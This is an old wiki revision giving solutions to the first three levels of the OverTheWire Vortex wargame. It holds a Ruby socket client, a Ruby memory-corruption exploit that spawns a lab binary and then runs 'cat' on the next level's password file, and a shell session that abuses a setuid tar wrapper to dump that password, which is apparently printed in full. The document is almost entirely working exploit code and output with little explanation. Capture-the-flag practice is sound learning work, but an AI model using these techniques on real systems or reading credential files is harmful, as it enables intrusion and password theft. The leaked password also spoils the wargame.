This is an old revision of the document!
Over The Wire - Vortex
Level 0
require 'socket' TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s| sum = 0 4.times {sum += s.recv(4).unpack('V').first} s.send([sum].pack('V'), 0) response = '' response += s.read() until s.eof? puts response end
Level 1
require 'pty' begin PTY.spawn("/vortex/level1") do |stdin, stdout, pid| stdin.sync = true reader = Thread.new { STDOUT.sync = true STDOUT.write(stdin.read(1)) until stdin.eof? } 257.times {stdout.write "\\"} 1.times {stdout.write [0xca].pack('V')} 1.times {stdout.write "\\"} 1.times {stdout.write [0xff].pack('V')} sleep 0.25 stdout.puts sleep 0.25 stdout.write "cat /etc/vortex_pass/vortex2\n" sleep 0.25 end rescue => e puts e end
Level 2
vortex2@games ~ $ /vortex/level2 /etc/vortex_pass/vortex3 /bin/tar: Removing leading `/' from member names vortex2@games ~ $ ls -l /tmp/ownership.\$\$.tar -rw-r--r-- 1 vortex3 vortex2 10240 Oct 21 20:50 /tmp/ownership.$$.tar vortex2@games ~ $ cat !$ cat /tmp/ownership.\$\$.tar etc/vortex_pass/vortex30000600000077100007710000000001210035360064015333 0ustar vortex3vortex364ncXTvx#